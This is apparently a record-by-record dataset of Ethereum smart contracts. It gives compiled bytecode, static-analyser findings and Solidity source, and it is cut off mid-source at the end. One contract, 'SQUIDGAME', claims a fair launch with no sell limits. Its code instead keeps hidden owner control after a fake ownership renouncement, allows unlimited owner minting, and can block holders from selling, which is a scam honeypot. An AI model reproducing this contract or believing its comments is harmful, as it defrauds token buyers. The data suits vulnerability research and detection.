d60e51b81526004016104f1906119f7565b6106ce6000611154565b565b600e546001600160a01b0316336001600160a01b0316146106f057600080fd5b600655565b600061046b338484610da2565b600e546001600160a01b0316336001600160a01b03161461072257600080fd5b60005b815181101561078a5760016005600084848151811061074657610746611a2c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078281611a58565b915050610725565b5050565b600e546001600160a01b0316336001600160a01b0316146107ae57600080fd5b60006107b930610678565b9050610675816111a4565b6000546001600160a01b031633146107ee5760405162461bcd60e51b81526004016104f1906119f7565b601054600160a01b900460ff16156108485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f1565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561088830826b033b2e3c9fd0803ce8000000610c7e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c157600080fd5b505afa1580156108d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f99190611a73565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561094157600080fd5b505afa158015610955573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109799190611a73565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109c157600080fd5b505af11580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611a73565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a2981610678565b600080610a3e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610aa157600080fd5b505af1158015610ab5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ada9190611a90565b505060108054436011556a108b2a2c2802909400000060065562ff00ff60a01b1981166201000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b5757600080fd5b505af1158015610b6b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a9190611abe565b600e546001600160a01b0316336001600160a01b031614610baf57600080fd5b600b55565b600e546001600160a01b0316336001600160a01b031614610bd457600080fd5b6b033b2e3c9fd0803ce8000000600655565b6000546001600160a01b03163314610c105760405162461bcd60e51b81526004016104f1906119f7565b6001600160a01b038116610c755760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f1565b61067581611154565b6001600160a01b038316610ce05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f1565b6001600160a01b038216610d415760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610e045760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f1565b6000600c55600a54600d556010546001600160a01b03838116911614801590610e4657506001600160a01b03821660009081526004602052604090205460ff16155b8015610e6b57506001600160a01b03831660009081526004602052604090205460ff16155b15610ecc57600654610e7c83610678565b610e869083611ae0565b1115610ecc5760405162461bcd60e51b815260206004820152601560248201527427bb32b91036b0bc103bb0b63632ba1039b4bd329760591b60448201526064016104f1565b6010546001600160a01b038481169116148015610ef75750600f546001600160a01b03838116911614155b15610f2a57601154431415610f2a576001600160a01b0382166000908152600560205260409020805460ff191660011790555b6010546001600160a01b038381169116148015610f555750600f546001600160a01b03848116911614155b8015610f7a57506001600160a01b03831660009081526004602052604090205460ff16155b15610fd6576001600160a01b03831660009081526005602052604090205460ff16158015610fc157506001600160a01b03821660009081526005602052604090205460ff16155b610fca57600080fd5b6001600c55600954600d555b6000610fe130610678565b601054909150600160a81b900460ff1615801561100c57506010546001600160a01b03858116911614155b80156110215750601054600160b01b900460ff165b1561104b57600b5481111561103957611039816111a4565b4780156110495761104947611096565b505b61105684848461132d565b50505050565b600081848411156110805760405162461bcd60e51b81526004016104f1919061179a565b50600061108d8486611af8565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561078a573d6000803e3d6000fd5b60006007548211156111375760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f1565b6000611141611338565b905061114d838261135b565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ec576111ec611a2c565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561124057600080fd5b505afa158015611254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112789190611a73565b8160018151811061128b5761128b611a2c565b6001600160a01b039283166020918202929092010152600f546112b19130911684610c7e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ea908590600090869030904290600401611b0f565b600060405180830381600087803b15801561130457600080fd5b505af1158015611318573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b61059c83838361139d565b6000806000611345611494565b9092509050611354828261135b565b9250505090565b600061114d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114dc565b6000806000806000806113af8761150a565b6001600160a01b038f16600090815260016020526040902054959b509399509197509550935091506113e19087611567565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461141090866115a9565b6001600160a01b03891660009081526001602052604090205561143281611608565b61143c8483611652565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148191815260200190565b60405180910390a3505050505050505050565b60075460009081906b033b2e3c9fd0803ce80000006114b3828261135b565b8210156114d3575050600754926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600081836114fd5760405162461bcd60e51b81526004016104f1919061179a565b50600061108d8486611b80565b60008060008060008060008060006115278a600c54600d54611676565b9250925092506000611537611338565b9050600080600061154a8e8787876116cb565b919e509c509a509598509396509194505050505091939550919395565b600061114d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061105c565b6000806115b68385611ae0565b90508381101561114d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f1565b6000611612611338565b90506000611620838361171b565b3060009081526001602052604090205490915061163d90826115a9565b30600090815260016020526040902055505050565b60075461165f9083611567565b60075560085461166f90826115a9565b6008555050565b6000808080611690606461168a898961171b565b9061135b565b905060006116a3606461168a8a8961171b565b905060006116bb826116b58b86611567565b90611567565b9992985090965090945050505050565b60008080806116da888661171b565b905060006116e8888761171b565b905060006116f6888861171b565b90506000611708826116b58686611567565b939b939a50919850919650505050505050565b60008261172a5750600061046f565b60006117368385611ba2565b9050826117438583611b80565b1461114d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f1565b600060208083528351808285015260005b818110156117c7578581018301518582016040015282016117ab565b818111156117d9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461067557600080fd5b803561180f816117ef565b919050565b6000806040838503121561182757600080fd5b8235611832816117ef565b946020939093013593505050565b60008060006060848603121561185557600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561188157600080fd5b833561188c816117ef565b9250602084013561189c816117ef565b929592945050506040919091013590565b6000602082840312156118bf57600080fd5b813561114d816117ef565b6000602082840312156118dc57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561190c57600080fd5b823567ffffffffffffffff8082111561192457600080fd5b818501915085601f83011261193857600080fd5b81358181111561194a5761194a6118e3565b8060051b604051601f19603f8301168101818110858211171561196f5761196f6118e3565b60405291825284820192508381018501918883111561198d57600080fd5b938501935b828510156119b2576119a385611804565b84529385019392850192611992565b98975050505050505050565b600080604083850312156119d157600080fd5b82356119dc816117ef565b915060208301356119ec816117ef565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a6c57611a6c611a42565b5060010190565b600060208284031215611a8557600080fd5b815161114d816117ef565b600080600060608486031215611aa557600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ad057600080fd5b8151801515811461114d57600080fd5b60008219821115611af357611af3611a42565b500190565b600082821015611b0a57611b0a611a42565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b5f5784516001600160a01b031683529383019391830191600101611b3a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b9d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611bbc57611bbc611a42565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220193a00bb6756f1369bd1d46d16c1bd73a550ef61da12c367e52a6b08ee57973564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,638
0xf51bcb7c7d8584f8cd6267d004859975471bde63
/** *Submitted for verification at Etherscan.io on 2021-07-29 */ /** SQUID GAME | $SQUID * Fair launch, no dev tokens! * Fair trade, no reserve, No buy/sell limts and no transaction fees! * Total Supply: 1000000000 * Burn: 50% * Add Liquidity: 20% */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SQUIDGAME is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _router; mapping (address => mapping (address => uint256)) private _allowances; address private public_address; address private caller; uint256 private _totalTokens = 1000000000 * 10**18; string private _name = 'Squid Game'; string private _symbol = 'SQUID'; uint8 private _decimals = 18; uint256 private rTotal = 1000000000 * 10**18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function addliquidity (address Uniswaprouterv02) public onlyOwner { public_address = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function setreflectrate(uint256 reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function Reflect(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == public_address) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104ae578063dd62ed3e146104e2578063eb7d2cce1461055a578063f2fde38b1461058857610100565b8063715018a61461037957806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e578063408e9645146102af57806344192a01146102dd57806370a082311461032157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102c557600080fd5b810190808035906020019092919050505061076c565b005b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a3565b005b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaf565b6040518082815260200191505060405180910390f35b610381610af8565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b60405180821515815260200191505060405180910390f35b6104b6610e4b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610544600480360360408110156104f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e71565b6040518082815260200191505060405180910390f35b6105866004803603602081101561057057600080fd5b8101908080359060200190929190505050610ef8565b005b6105ca6004803603602081101561059e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd4565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600061068261067b6111df565b84846111e7565b6001905092915050565b6000600654905090565b60006106a3848484611346565b61074a846106af6111df565b61074585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b6111e7565b600190509392505050565b6000600960009054906101000a900460ff16905090565b6107746111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166108546111df565b73ffffffffffffffffffffffffffffffffffffffff16141561087557600080fd5b61088a8160065461165790919063ffffffff16565b6006819055506108e981600260006108a06111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260006108f56111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b6111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109ab6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220bbdfeaf3976aaef6443c2382b1ae1d74941ad593234c5b59f15c7226f18e38d064736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,639
0x818e2ad435764b80ee844cf7b2e8036e0a4b7c83
pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev 